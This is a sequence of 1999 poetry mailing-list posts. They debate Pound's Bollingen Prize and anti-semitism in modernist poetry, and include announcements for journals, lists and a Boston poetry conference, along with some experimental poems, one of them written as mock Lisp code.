They "embraced this doctrine of the eternal incognito which implies that a man's external deeds are no guide to his motives. In this case [Heidegger's], the deeds obscured behind the mysterious incognito were, needless to say, these intellectuals' participation in Nazism...But if this impenetrable incognito were the true 'condition humaine,' might not - concealed within their incognito - Heidegger or Schmitt have been secret opponents of Hitler all the time, only supporting him in the world of appearances?"

Now, what Lukacs says here really strikes a cord. I won't get into the whole issue of Heidegger and Nazism. What I will say is that Lukacs' logic - though I sympathize deeply with his dilemma - is flawed. It presupposes that the only critique of the Unity of the Self falls along the lines of this existential concept. Lukacs, it seems to me, comes out of the humanist aspect of Marx and Marxism: the self is ethical and whole: if not, than it is damaged and unethical (evil). In the world of continental philosophy of the 30's Heidegger and Lukacs may have seemed like the operative poles (though the Franfurt folks & I think particularly Benjamin offer an alternative) - but as regards Williams, there's John Dewey, there's Kenneth Burke, offering very important alternatives to a Lukacsian perspective on the self which stays well away from this issue of the Incognito. Dewey: "individuality itself is originally a potentiality and is realized only in interaction with surrounding conditions." This statement didn't *deter* Dewey from critiquing the unity of the self - it was in fact the *predicate* by which he understood the self as a multifarious, multimotivated construction; and through which he recognized that deciphering the motives behind individual actions (including speech acts) required the same sort of time and heightened attention and open-mindedness that an anthropologist (a good one) brings to the activities of whole communities. So, just to say, that when I ask for complex thinking on this WCW/anti-semitism it is from this latter, pragmatic perspective, though not without knowledge of Lukacsian exasperation.

-m.

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229. **peter neufeld**

Re: Pound and the Nobel Prize

Fri 16 Jul 1999

Pound did in fact win the first Bollingen prize judged by, among others, Tate, who wrote two very interesting articles on awarding this prize to Pound-- the New York Times favorite treasonous fascist, for the _Pisan Cantos_ specifically which I see as an explicitly anti-semitic and fascist section of the Cantos and

arguably the most aestheticly innovative and complex section as well. Pound despised Tate as critic and a poet, and Tate discusses his decision and the complexities of Post-War Pound in relative detail. I find this strain on WCW and anti-semitism very interesting. The interest in an authors identity and the value of that identity in relation to the work, I feel for me at least, is still open to investigation. I think it depends on how one wishes to read, under what kind of conditions the experiment is given, in what labratory we choose for it to take place. For this century it is a pressing demand in light of the WWII. An attempt to return history, I think, to the work. I'm skeptical of the fall back to the ironic reading, WCW adopting the voice of this or that position in order to somehow radically subvert this or that position. Are these poems then satires? I felt, and still do feel, that Williams deployed very negative images of African-Americans in Paterson, and if I choose to call that racism, which I do, it doesn't necessarily mean that I dismiss Williams for that. I doesn't necessarily follow that I am playing a holier-than-thou gambit either. I want to read Williams as a poet and also as historical happening.

Peter

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230. **Joan Houlihan**
Re: Pound and the Bollingen Prize
Fri 16 Jul 1999

Mark,

Pls see my comments below.

> *Someone suggested that those who had denied Pound the Nobel Prize had failed to separate the work from the man.*

Yes, I suggested it. Actually, it was the Bollingen as someone else pointed out.

They were in fact remembering
>some of the more disreputable works.

Hmm. By "disreputable" I assume you mean with anit-semitic or treasonist content. (?) I followed the controversy fairly closely at the time as I was embroiled in huge "discussions" about it with my Jewish boyfriend--who, BTW, was also a poet and claimed to be unable to even read either Pound or Eliot after their anti-semitism came to light. Their work had been absolutely and irrevocably contaminated for him. Of course, these awards all have a political

component anyway, so it isn't saying a whole lot that this was a "political" decision.

> *When Kurt Waldheim, after his UN career, was discovered to have committed war crimes there were some who objected to his being elected president of Austria--his great post-war service were apparently enough to excuse his earlier behavior as far as the Austrian electorate was concerned, but the critics felt that some things are unforgiveable and that to honor the perpetrator is to diminish the apparent seriousness of what had been done.*

Yes, and I have to agree with those critics re: Waldheim. I mean, being elected president is quite a bit different from being given a prize for your writing. And, committing war crimes is also quite a bit different from making anti-semitic remarks--or even making those boradcasts.

> *Pound wasn't a war criminal, merely a fellow-traveller of war criminals, but that's bad enough.*

What about the pro-Mussolini broadcasts? Not a "war criminal" per se, but pretty actively treasonous. He would certainly have gone to jail if he weren't pronounced insane.

To deny him the prize was not so much a judgment on
>the Cantos as a decision not to be seen as forgiving the unforgiveable in
>the context of a Europe where passions like those who had expressed during
>the war were and are very much alive.

Exactly the point I'm making. It was **not** a judgement on the work at all--but, ideally, should have been (in my opinion). I think the work is, must be, separate from the man (or woman). This is not to say that I find the behavior trivial. When Eliza Kazan stood and received a "lifetime acheivement" award at the Oscars this spring, I found it distressing--most of the people he had harmed were still alive, or at least their families were. It seemed incredibly disrespectful to them and I was happy to see some people remain seated, not applauding (e.g. Nick Nolte). But when the retrospective came on--Streetcar Named Desire, On the Waterfront, etc. all those incredible films--I was completely moved by the acheivement. I again came round to the belief that the work is the reality for an artist/writer, not the life.

Of course, a lot of the issue is how these prizes are awarded, publicized, etc., and made to **seem** to the public, to be awarded to the person, not the work. If Kazan didn't show up, it would have been easier to take. And, as you rightly point out, an award to Pound would certainly have **seemed** to be condoning his actions as a man--enough reason to not give it to him.

Best,
Joan

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231. Macgregor Card

The Germ no.3

Fri 16 Jul 1999

** THE GERM: a journal of poetic research, vol. 3 (belated Spring 1999) ** ** All is Not Bird that Twitters **

Featuring work from: George Oppen (a 50 p. selection of Daybooks 1-3, edited and with an introduction by Stephen Cope), John Ashbery, Faith Barrett, Anselm Berrigan, Leslie Bumstead, Clark Coolidge, Ray DiPalma, Jean Donnelly, Karen Donovan, Mark DuCharme, Marcella Durand, Chris Edgar, Michael Gizzi, Kevin Killian, John Latta, Gillian McCain, Laura Mullen, John Olson, Michael Palmer and Ben Watkins (a photo-text collaboration), Bin Ramke, Gustaf Sobin, Carol Szamatowicz, Linda Voris, Shannon Welch & Elizabeth Willis. Etchings by O. Angelica Biddle.

We're in a village bookstore near you (or optimistically, at two magazine-kiosks in the great plains). Distributors: Bernhard DeBoer, Small Press Distribution, Armadillo. ISSN 1093-6610. 256 pages.

Subscriptions, priced swell, no tricks: 2 issues ($12); 4 issues ($20); 6 issues (yes, only for the longevity faithful, $28). Like most folks, we're in dire need of new and/or old subscribers! Subscribe three times, seven, twenty-one! There's no cap on orders-per-family!

GERM EAST:
Macgregor Card
PO Box 2543
Providence, RI 02906
([redacted])

GERM WEST: (soon to be midwest--Chicago.)
Andrew Maxwell
PO Box 8501
Santa Cruz, CA 95060
([redacted])

We're always looking for submissions, and currently with vigilance (#4 due out this November). Please send work to both addresses, we promise a vigorous reading and an ever-swifter turnaround.

Cheers and thanks, yours,
Macgregor Card // Andrew Maxwell

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232. John Tranter
KPFA mentioned in "Wired" magazine Internet News site
Sat 17 Jul 1999

This is ireprinted with thanks from Wired magazine's News site, on the internet at
http://www.wired.com/news/

Radio Protests Stream in MP3

Oscar S. Cisneros

6:40 p.m. 16.Jul.99.PDT

In what may be the first live protest streamed in the MP3 format, activists and ex-staffers of an independent radio station on Friday netcast their objections to being ousted. The sound quality was poor and speakers' voices were inaudible at times, but the protesters' jubilance rang clearly enough. "We must fight for free speech," shouted one speaker, to cheers from the crowd. "Without free speech we have nothing." A string of firings that began in March at KPFA -- an independent radio station in Berkeley, California -- spawned a series of protests. Demonstrations escalated Tuesday when KPFA's owners, the Pacifica Foundation, had armed guards forcibly remove staff members from the building. One announcer was on the air at the time. Most staff members were placed on administrative leave. Nine nonstaffers who protested the removals have been arrested, and police have used batons to control the crowds (400-strong at times) that the event has attracted. Pacifica had forbidden staff from discussing the firings on the air, but some employees defied the order and did it anyway. "I saw the demonstration and I thought, 'These people should start broadcasting on the Internet,'" said netcasting expert Sameer Parekh. "On Thursday I set up the broadcast equipment and Thursday evening we did the first broadcast." Parekh accomplished it by setting up a 50-watt micro-broadcaster to cover the downtown Berkeley area, and a server to stream the action over the Net. Using Icecast, an open source MP3 streaming server software suite, and a community server hosted gratis by AboveNet, Parekh began streaming the content. Ousted KPFA staff burned a CD of previous broadcasts critiquing Pacifica's tactics and calling for more community control of the radio station. Parekh has been playing the CD over and over since Thursday night. Parekh also wants micro-radio stations to lift the streams he's sending over the Net and broadcast them. "If they plug the reception of my Internet stream into the micro-power broadcasters, then their local

communities can have access to the demonstrations," Parekh said. Elan Fabbri, a spokeswoman for Pacifica, said that debate over the station is misplaced. "This is not about free speech. It's about a labor dispute," she said. "We have a union contract at KPFA that has been violated." Ken Ford, a member of Pacifica's national governing board, said that the staff was placed on administrative leave not as a punitive action but for their safety, given the protests and tensions surrounding KPFA. Protesters, he said, have not answered Pacifica's calls for mediation because they can't agree on who will negotiate for them. Ford had never heard of MP3 but said the 50-watt broadcast portion of the operation was illegal. "It's a pirate station, basically," he said. "They're busy little beavers, aren't they?"

sent by John Tranter, Jacket magazine

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233. John Tranter
Ezra Pound and the Bollingen Prize for Literature, 1949.
Sat 17 Jul 1999

I thought the List might want to look through this: an excerpt from William McGuire, Poetry's Catbird Seat (the consultantship in poetry in the English language at the Library of Congress, 1937-1987), Library of Congress, Washington, 1988, 512 pages, ISBN 0-8444-0586-8. This (very selective) excerpt is 1,500 words long .

==========

In 1948 The Bollingen Foundation's trustees voted an allocation of $10,000 for ten years of literary awards. [. . .] (The Foundation's name had been Mary Mellon's oblique way of honoring C. G. Jung, who had a country retreat near a Swiss village called Bollingen.) [. . .]

On March 4, 1948, a Library of Congress press release announced the Bollingen Prize in Poetry. Carrying a purse of $1,000, the prize would be awarded each February for the best book of verse by an American author published during the preceding calendar year. The jury of selection would be composed of the Fellows in American Letters of the Library of Congress. [. . .]

A final ballot was cast by mail in February (as the 1948 prize would lapse on February 28): ten first places for Pound [for The Pisan Cantos], two for [W.C.] Williams, one abstention (Paul Green's)-and the vote of Theodore Spencer, who had died a few weeks before, was taken to stand as a first place for Pound, as it was he who had placed the Pisan Cantos in nomination back in November. [. . .]

The story was broken on Saturday night, the nineteenth, by Charles Collingwood in his radio news broadcast. The Sunday New York Times headline was characteristic of the press reaction: "Pound, in Mental Clinic, Wins Prize for Poetry Penned in Treason Cell." As Evans (Luther H.Evans, the Librarian of Congress) later observed, "The award possessed that bizarre quality that makes news. Along with excited reports, indignant editorials appeared in the press." An editorial in the New York Herald Tribune, however, stated: "This emphasis on an objective criterion of beauty and excellence, akin to belief in an objective truth, is fundamental to a free and rational society. In maintaining it the judges acted in the only way that is open to men who are sensitive to a later verdict of history." In the same paper, Louis Untermeyer called the Pisan Cantos "a ragbag and tail end of Pound at his worst. It shows a very disordered mind, one affected by the seeds of Fascism," and Robert Hillyer thought the award "regrettable" for aesthetic rather than political reasons. "I never saw anything to admire, not one line, in Pound." [. . .] Robert Frost, in a memorandum to his secretary Kay Morrison soon after the award was announced, called it "an unendurable outrage" and Pound "possibly crazy but more likely criminal." [. . .]

Huntington Cairns, in his journal, described one of his visits to St. Elizabeths. "I saw Pound for an hour on Saturday, Feb. 19th. The director of the hospital had informed him that he had won the Bollingen Prize, and he was obviously excited by the news. He had prepared a statement for the Press: 'No comment from the Bug House,' but he had decided not to give it out. [. . .] Walter Winchell quoted Pound's comment on the same occasion: "Democracy is more stupid than ever I said it was." Tate, incensed, asked Pound's wife to check on that. "Total lie" was Pound's answer. He called Winchell a "Jewish bedbug." [. . .]

For a time, controversy over the prize subsided. It was suddenly revived when the Saturday Review of Literature, in its issues of June 11 and 18, published two long articles by Robert Hillyer - "Treason's Strange Fruit" and "Poetry's New Priesthood." Hillyer, earlier a professor at Harvard (his students Howard Nemerov and Robert Fitzgerald remembered him as a gifted teacher), won the Pulitzer Prize for poetry in 1934, and in 1939 was president of the Poetry Society of America. [. . .] Hillyer was regarded by many of his literary peers as an isolated figure who had carried on a long critical campaign against Eliot and Auden, whom he regarded as his poetic rivals. During the late spring, Evans and Adams had had letters from Hillyer and from Harrison Smith, the editor of the Review, putting questions about the award. Hillyer's were marked by a threatening tone, with insulting references to conspiracy and negligence. The F.B.1. had been alerted, he said; and an article would be published. [. . .]

In his two articles, Hillyer declared that the Cantos are "the vehicle of contempt for America, [of] Fascism, anti-Semitism, and . . . ruthless mockery of our

Christian war dead." He implied that the award was part of a conspiracy against American ways of life and literature, and that the conspirators included T. S. Eliot, Paul Mellon, Jung, the Bollingen Foundation, Pantheon Books, most of the Fellows in American Letters, admirers of Eliot and Pound, the New Criticism, and various literary quarterlies. Their common aim, he argued, was to seize power in the literary world and undertake "the mystical and cultural preparation for a new authoritarianism. . . . In a spiritual morass where language, ethics, literature, and personal courage melt into something obscure and formless, a guided impulse has stirred the amorphous haze into something approaching form, something shaped out of stagnant art by groping Fascism." [. . .]

On June 24, Congressman Jacob K. Javits, of the 21 st District, New York, wrote Evans: "After having read the editorial 'Treason's Strange Fruit' . . . I am particularly concerned about the awarding of the Bollingen-Library of Congress Award of $1,000 to Ezra Pound. I would very much appreciate your advising me how the Fellows who make this award were chosen, who they are and the basis of their selection." [. . .] On July 19, another congressman, James T. Patterson, of Connecticut, addressed the House regarding the award ("Should we encourage the activities in literature of moral lepers?") and inserted into the Congressional Record the Hillyer articles, Evans's letter, and the Saturday Review's reply. On the twenty-first, Javits called for an investigation ("Must we not be equally diligent to investigate the infiltration of Fascist ideas especially in so august an institution as the Library of Congress?"), and the matter came before the Congressional Joint Committee on the Library of Congress, whose chairman was Senator Theodore F. Green, of Rhode Island. What transpired was not an investigation but a resolution, on August 19, to the effect that the Library should abstain from giving prizes or making awards. ("I think it is a bad policy for the government to give prizes and awards, especially in matters of taste," the Senator told the press.) Evans immediately announced compliance. The awards that the Library discontinued, besides the Bollingen Prize, were the Elizabeth Sprague Coolidge Medal for "eminent services to chamber music" and three prizes endowed by Lessing Rosenwald in connection with an annual national exhibition of prints.

In that same feverish summer of 1949, William Carlos Williams was also the object of a small cloud of protest, raised by his review of the Pisan Cantos in the spring issue of Imagi, a very small poetry quarterly published in Baltimore. During July, Evans received a few letters, all alike in content, protesting Williams's appointment as Consultant in Poetry - evidently the result of confusion with his appointment as a Fellow earlier in the year. Some of the letters came from the editors of other small verse magazines (in Arkansas, California, etc.), saying for example, "That [Williams] should defend such a

work places him in the same category with Pound, that of utter contempt and treachery to all the ideals for which America stands. . . ." [. . .]

After the prize was barred (and $9,000 returned to the donor) the Bollingen Foundation received a number of requests from universities to carry it on. In early 1950, the Yale University Library was granted the funds to continue making the awards. The winner of the 1949 Prize, selected by a committee whose members - Adams, Aiken, Shapiro, Chapin, Warren - had all been Fellows in American Letters]at the Library of Congress], was Wallace Stevens. [. . .]

In 1963 the amount of the award was increased to $5,000, and thereafter it was given every other year. After 1968, when the Bollingen Foundation ended its programs (except for the Bollingen Series, which it gave to Princeton University Press to carry through its publication), the Andrew W Mellon Foundation took over, and in 1973 made an outright endowment of $100,000 to enable the Yale Library to continue awarding the prize in perpetuity. By now [1988] more than thirty poets, including many of the Consultants, have received the Bollingen Prize. They keep coming on.

Cowley to Tate, October 21, 1949: "I went to a literary tea for Nehru. Present were the editors of the Saturday Review... Harrison Smith saw me and advanced beaming. 'I was going to write and congratulate you,' he said, 'on the article about Hillyer. I think you had the right dope. Of course, we just printed the Hillyer articles and the editorial to start a controversy. It was a great success. We thought it would give us three exciting issues but it went on for six.'

==========

from
John Tranter, 39 Short Street, Balmain NSW 2041, Sydney, Australia
tel ([redacted] fax ([redacted]
Editor, Jacket magazine: http://www.jacket.zip.com.au/welcome.html
Homepage: five megabytes of glittering literature, free, at
http://www.alm.aust.com/~tranterj/index.html

↑ Index

234. **Stephen Cope**

Re: The Germ

Sat 17 Jul 1999

The Germ can be found at:

The Germ c/o
Macgregor Card

POBox 2543
Providence, RI 02906

Thanks for the interest (and Chris, for bringing it up...)

Stephen

↑ Index

235. A H Bramhall
Exactly This
Sat 17 Jul 1999

Earthly exactitude, maneuver this field. this is the drill: to explain the particulars.

woke and found out, there is no underwear. there's a verbal point reaching the thing that that. this tree: easily equated with perception, and probing unity. lost the fact of the discussion. goofed the perimetre of answerable. listened in, thought I was in. stepped out, John is better. beer for everyone, the house is open. I blank dearest. the shot is blocked, the turn around. wait for it. the fact is this: an orange or pink blouse, a tree (perhaps elm), stars smiling.

things. the desperate honour of lunch. who will weigh in? at this point, news, newly sprung and attendant. what are mountainsides? exactly this, my friend.

↑ Index

236. David Baratier
Re: Submission Crucible
Sat 17 Jul 1999

On rejection with ad enclosures:

If someone is offended by this practice let them be. Poets are a dime a dozen and twelve more will show up. Readers are a much rarer commodity. The gig is to diseminate information, not appease the ego of the kind of writer who will be so infinitely hurt by a rejection as to not recover. They will not recover; preferably disappear.

There is only one form of demeanment and antagonization I am aware of. A magazine that does not respond to queries about a first correspondence.

Or does something similar to Big Allis. After a two year submission period, they send a letter which states they still had not read the pieces and are sending them back. Magazines who are not responsible to their constituency will suffer accordingly.

Be well

David Baratier

↑ Index

237. Alan Sondheim
Error-Message
Sat 17 Jul 1999

-

Error-Message ("Hello world!")

```
(if (and (bound like a big string 'emacs-version)
        (or (and (bound like a string 'epoch::version) epoch::version)
           (string-less string-full emacs-version "19.29")))
   (error "`stringy' was compiled for Emacs 19.29 or later"))
   (string-full errors: July 17 then
        (mount stringy-string `x` || strung-up errors: July 14 then
         (elseif a really big string)
        (strung-up > dev/mul)))
   (car(caddr(cadddr(s t r i n g i n g - s t r i n g))))
         (endif strung-out stringy-string ("a really big string"))
```

(byte-code-stringy "n/n!/*")

↑ Index

238. Hugh Nicoll
wr-eye-tings list
Sat 17 Jul 1999

Greetings from Miyazaki, Japan

In response to Jim Rosenberg's plea for help, I have set up a new home for the wr-eye-tings list on my mail list machine. The list is running on LetterRip Pro, a Mac mailserver, that lives on a PM7100 here in my office.

The subscription procedure is very simple.

Send an email message to

[redacted]

with the line

subscribe wr-eye-tings

in the body of the message.

Please make sure your sig file is turned off in your mail program.

If you have trouble or suggestions for tweaking the list settings, digest options, sig file info etc. please contact me at

[redacted]

All the best,

Hugh

Hugh Nicoll, Miyazaki Municipal University, Funatsuka 1-1-2,
Miyazaki-shi, Miyazaki-ken, [redacted] JAPAN
tel 81-(0)985-20-4788, fax 81-(0)985-20-4807
<http://www.miyazaki-mu.ac.jp/~hnicoll/>

↑ Index

239. Jim Rosenberg
wr-eye-tings will live again (promise!)
Sun 18 Jul 1999

Here is the status of resurrecting the wr-eye-tings list:

1. I've got a solid volunteer to host the list who's already set up to do this.

2. I've configured my own mail server to do this in case something goes wrong. (I would just go ahead and host the list myself, but my volunteer's Internet connectivity is better than mine. I'll announce the name of our rescuer with grateful thanks when we've got everything set up.)

So we have a new home in the wings for wr-eye-tings. It's *quite likely* you will have to resubscribe. Please stay tuned for an announcement, which should come in the next few days. In the meantime, please be patient.

If you happen to know someone that you know is subscribed to wr-eye-tings but is not on the Poetics List, you might pass on the word that wr-eye-tings is down but is being reconstituted.

Jim Rosenberg http://www.well.com/user/jer/
CIS: 71515,124
WELL: jer
Internet: [redacted]

↑ Index

240. Julie Johnson
ATTN Small Press Publishers
Sun 18 Jul 1999

Duration Press is seeking to develop a web page dedicated exclusively to Small Press Announcements.

This list, which will be updated every two weeks, will give interested parties a one stop place to look for recent publications.

As the list is updated, Duration Press will also house an archive of previous lists, in order to give readers a kind of bibliography in process of small press publications.

This list, of course, will depend upon the participation of both readers & publishers.

If this sounds like a resource that anyone would be interested in seeing, please send all comments to Jerrold Shiroma at
[redacted] .

Hopefully the response to this will be large enough to warrant constructing this resource.

All best,

Jerrold Shiroma
Duration Press

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241. juliana spahr
request for horror stories involving work sent to aca journal
Sun 18 Jul 1999

All this talk about submitting to poetry journals reminded me that I am collecting horror stories involving work sent to academic (peer reviewed; critical) journals.

I'm giving a paper at the mla on the not very exciting topic of simultaneous submissions. Anyway, I'm the pro person the panel--arguing that the reviewing practices of academic journals are filled with abuse and simultaneous submissions might be one way to force journals to reform.

I'm interested in collecting stories (academic journals only; not poetry or small press journals). Please back channel them to me. If I were to refer to your story in the paper, I would approve it with you and respect any sort of privacy that you might desire.

Thanks.

Juliana Spahr
[redacted]

↑ Index

242. A H Bramhall
pointless questions
Sun 18 Jul 1999

how much authority is enough? where do you buy this commodity? how do you get the others to listen? where did Eliot Weinberger come from? why wasn't he here to begin with? what's fear worth these days? which poem are you referring to? what's your favourite of all the poems you don't read? can we talk Tennyson? how long did it take you to find out? who's out now? where are the boundaries? which one's the boss? who cares? when did all this come down? who's in charge of these words? who owns the owners? which credential do you prefer? what's your idea of relief? what part of death is not necessary? where have you been all day? what's the best way to get out of here? can you find a better route there? behind who should you hide? at what point will you know that you have won? are you as ready as you need to be? are all circles the same? can we question questions? will there be time later? who should we turn to? does the perimetre change? do we? are you quite sure? is there one in many?

just asking, this is no test, no test at all. Allen Bramhall

↑ Index

243. Lowther,John
~
Sun 18 Jul 1999

where
i thought

a turn
is broken

but
occurence

led me
leads back

there's
no return

↑ Index

244. Hamish John Dewe
Re: Not all salt is NaCl
Sun 18 Jul 1999

Sorry, John(s).

We became aware of the other Aus Salt sometime after starting the NZ Salt. We did toy with the idea of changing names, but didn't want to risk confusing our rather small (even by NZ standards) readership, and supposed that our readerships weren't overlapping.

Hamish Dewe

> *In response to a recent posting from New Zealand about a magazine called "Salt", I'd like to pass on to the Buffalo List the following:*
>
> *"John Kinsella, editor of the Australian [literary magazine] "Salt", would like to state clearly*
> *that the journal he has edited since 1990 has no connection with the newish NZ journal of the same name."*
>
> *John Tranter, editor, Jacket magazine*

↑ Index

245. Alan Sondheim
The Animal
Sun 18 Jul 1999

\

The Animal

It's fifty years from now and there's this one animal left. It doesn't matter what you call it, where it lived. It goes on now by artificial means, intravenous feeding, automated evacuation. It has nothing to look at, maybe its eyes are clouded over.

The animal stands there, it's recorded from every angle. Temperature, even radio-radiation, audio, video, hologram, old quickcams and 4x5 plate cam- eras, everything they could think of. Terabytes of information flow out through thick cables, documenting its every move, it shuffles.

On and on and on, into huge computers, they take the information, alter it. Suddenly there are recreations of tropical forests, African savannas, Pennsylvanian hilltops, deserts at night. The animal's reconstructed as wolf, ibis, snake, spider, bear. Now everyone can see the wildlife through the glasses,

through the screens, through implants. The animal turns in its sleep, even the animal has to dream. Walls, nothing, the placement of a foot. Overhead, screens, birds soar, shimmer.

The tail of the animal, maybe, the whiskers.

↑ Index

246. Chris Stroffolino

Nada Gordon & Gary Sullivan

Mon 19 Jul 1999

It was a pleasure to see two successful "men of letters" approaching 50, John Yau and Charles Bernstein (& yes Charles I mention your name publically here, in attempted good faith, as "psychic payment" for your private praise of a point or two I made at the L(R)J conference!) present at the reading of Gary Sullivan and Nada Gordon this sunday at the Zinc Bar. It was a little sad to see not too many others there, but I don't want so much to "lay the guilt trip on those who didn't show" as proactively promote, a la that Game Theory song "sleeping through heaven" which is fun to sing to others....

Anyway, it was no mere reading but a, from this distance, true collaborative dialogue between these writer/lovers (lover/writers) that may serve as the beginning of a much needed (at least in NYC poetry scene) attempt to dissolve, as much as possible and desirable (or at least intensely toy with, and be toyed by) the barriers between
the "political" and the "personal"
the "aesthetic" and the "ethical",
the "elliptical" and the "straightforward"
the "public" and the "private" etc.
(i sacrifice rhyme and rhythm for analogical significance here)

What gary and Nada seem to be embarking on is a couragous attempt to render explicit, through a dramatic embodiment, many concepts that are ostensibly touted and/or embraced by the "avant-garde" but whose "products" so rarely achieve, or at least reveale, the symbiosis that occurs both between two people "in the throes" as it were as well as between those "blue poles" of "life" and "art". What G and S suggest is that there may not be able to be a connection between two people unless there is also an attempt to connect life and art, without subordinating one to the other, except theatricaly (in moments) of course, within the conceptual frame of endless possibility in the context of monogamous (for the time being, in the "nest phase" at least), but otherwise "nontraditional" love...

This was the first (of what I hope will be more) public performance of these young(ish) artist/lovers, and the content of their poetic epistles (and nada's acapellas, which would be even better, i'd argue, with musical--say, piano--backup) has not yet, for me, eclipsed the sense of the sheer radicalness of the concept Gordon and Sullivan propose....

To emphasize the conceptual aspect (frame?) of their work is not meant to be taken as derogatory. The courae it takes to include a computerized-voice reading of un-obscene pornography (more tabooed in "avant-garde" scenes allegedly more on the grunds of its lack of linguistic innovation than for any anti-pleasury ideology aeshetic or ogery), for instance, among the most abstract and/or lyrical of musings, for me, takes on a conceptual significance that not only challenges community standards of "good art" but also raises the question of whether anti-desire aeshetics, or an art-for-art's-sake attitude and behavior, may NOT simply "make nothing happen," but rather, dangerously, widen the gap between art and life, and highten alienation...

Because Gary and Nada's work (dealinating too first name from last name) is groundedin the feeling and idea of an all-emcompassing eros (although that love is not its only ground), it may seem to provide an exemplary contrast to other so-called conceptual artists. For instance (see Village Voice, July 6, 1999 article by C.Carr), the situationist-influenced young "performance artist" Christine Hill, whose thought-provoking meshing of 'everyday commerce' activities and art have been gaining some attention recently. According to Carr, "Hill's work really blurs the art/life line because it's about creating something that IS life. She has worked in the past as a masseuse, waitress, shopkeeper, and lead singer in a rock band--activities she desginated as ART while they also provided an income..." Hill thinks of drawing and painting as "apprentice skills" and she is out to create situations, not objects.... Sullivan and Gordon, however, don't seem to conceive of writing as "apprentice skills" but rather allow for or encourage actively more of a symbiosis, and in this sense I'd argue go beyond Hill (So, maybe Deitch Projects or the Public Art Fund could fund them too!)... Unlike Hill (and lacking her hard-nosed practicality, one might argue), G and S are not as interested in eradicating the aspect of the life/art dichomotomy that makes it such a difficult challenge to "unite one's vocation and avocation" (to paraphrase Frost's wistful hope without a net...)> What they do for money, their public role outside of their role as a "couple of writers" (in the highest sense of that phrase) is not emphasized. One could imagine, perhaps, an art attitude that combines these two distinct ways (Hill's and G and S's) of blurring or eradicating the life/art distinction, but perhaps this is too much to ask, or perhaps the difference is best unbridgeable.

(more, to be continued, in next post quite shortly....)

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247. Chris Stroffolino

Nada and Gary (continued)

Mon 19 Jul 1999

Hill, as an individual artist, chooses to present herself theatrically as an installation piece (as TOURGUIDE and Used-clothes proprietor, etc., giving "new meaning" to the convention of the "studio visit"), in ways that may be compared to the largely individualist ethos of, say, Annie Sprinkle (sex or at least breasts being more like business than like love), while Sullivan and Gordon, at this phase at least, by challenging the idea of the individual, and the objectification of the other, or of the self for that matter, by becoming mutual muses for each other, and bracketting the economic exigencies and mediations that inform (and even drive) Hill's role-playing, create a conceptual art that meshes poetry and life in a way that can move toward undoing some very stubborn either/or dichotomies that, through compartmentalization, either reduce the tension to a manageable working partnership, or make it more impossible to love (depending on one's definition of), live. Because N and G write to each other directly, they not only discover (and invent?) in each other a form capacious enough for all modes of writing, but they also find in all modes of writing, a way to embrace the tradition of (love) poetry, of lyric and discursive, or even fragment/aphoristic singularity while also challenging it by more inclusively putting it in dialogue WITH dialogue--a dialogue that can only become MORE dramatic, even as the realtonship may seem to stabilize (freer the tighter).... If there seems something too utopian yet about their perfomance (if they ignored, for instance, my request to include more of their verbal "fight scenes" in this first public performance), this is not to be condemned, or even merely tolerated and swept under the rug by being judged by the standards of 'safe art' as 'mediocre' if judged by 'literary' merits.... You have to start somewhere, and the myth of true lovers, or even "soulmates" that may "transport" each other, though certainly partaking to some degree in fiction (and surely hokey to the embarrassed or embittered), is at least as fitting a place to start as any (especially against a backdrop of a model of profit and loss which may perhaps contaminate many potential loves). They should be given the poetry teaching jobs! Or at least be made examples in polemic arguments that wield more cultural authority, or institutional sway, than mine (if I was "talking policy" with "the big girls" say)... Ah, when is a joke not a joke.... So,Hail Gary Sullivan and Nada Gordon, ...

chris stroffolino

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248. Ron Silliman
Hass on Lee Ann Brown
Mon 19 Jul 1999

Bob Hass is on a roll in his Washington Post Poet's Choice column. He follows last week's piece on Fanny Howe with this one on Lee Ann Brown:

http://search.washingtonpost.com/wp-srv/WPlate/1999-07/18/049l-071899-idx.ht ml

Like some other folks I know, he doesn't quite get the seriousness of her endeavor, but his good will is evident throughout. Also, the boy's a little unclear on Tender Buttons. That was a book, Bob, not a prose poem.

Ron

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249. Michael Franco
BOSTON LAST CALL BOSTON!!!!!!
Mon 19 Jul 1999

ANNOUNCING:

THE 2nd ANNUAL
BOSTON ALTERNATIVE POETRY
CONFERENCE

JULY 23-25, 1999

The Art Institute of Boston
at Lesley
700 Beacon St.
Boston, MA

SCHEDULE OF EVENTS: as of 6/30/99

Friday, July 23

6:30 p.m. - Night Reading - Andrew Schelling, C.D. Wright, Michael Franco, Anselm Berrigan, Magdalena Zurawski, Daniel Bouchard, Donna de la Perriere

Saturday, July 24

9:00 a.m. - William Bronk Reading - (Jack Kimball, Donna de la Perriere and others)

10:00 a.m. - Morning Reading - Douglas Rothschild, Sean Cole, Diane Wald, Barbara Claire Freeman, Richard Dillon, Brendan Lorber

12:00 Noon - Lunch Break

1:00 p.m. - Frank Ohara Reading - (Anne Waldman, Jordan Davis, Douglas Rothschild and others)

2:00 p.m. - Alan Gilbert - "Poetry as Document"

2:30 p.m. - Afternoon Reading - Tina Darragh, Beth Anderson, Peter Ganick, Drew Gardner, Chris Stroffolino, Alan Gilbert, Patrick Doud, David Kirschenbaum, Sam Truitt, Ed Barrett,Ammiel Alcalay

5:00 p.m. - Dinner Break

6:00 p.m. - Maria Damon - "Something About Bob Kaufman and the Poet's Labor"

7:00 p.m. - Night Reading - Anne Waldman, Leslie Scalapino, John Wieners, Gerrit Lansing, Michael Gizzi, Kristin Prevallet

Sunday, July 25

9:00 a.m. - Emily Dickinson Reading - (Joseph Lease, Jack Kimball and others)

10:00 a.m. - Morning Reading - Jack Kimball, Prageeta Sharma, Jacques Debrot, Heather Scott Peterson, Aaron Kiely

12:00 Noon - Lunch Break

1:00 p.m. - Afternoon Reading - "Ways to Read" (Michael Basinski, Wendy Kramer, Kenneth Goldsmith)

2:00 p.m. - Afternoon Reading - Raffael de Gruttola, Tadashi Kondo, Wilfred Croteau (renku and haiga)- Andrew Schelling reads from his "Road to Ocosingo"

3:00 p.m. - Afternoon Reading - Lewis Warsh, Will Alexander, Jordan Davis, Henry Gould, Damon Krukowski, Jim Behrle, Marcella Durand

5:00 p.m. - Dinner Break

6:00 p.m. - David Shapiro - "A Radiant Pluralism: For Poetry"

7:00 p.m. - Night Reading - David Shapiro, Lyn Hejinian, Forrest Gander, Joseph Lease, Lisa Jarnot

CONFERENCE REGISTRATION:

Weekend Pass: $40
Saturday or Sunday only: $18
Single Readings: $7

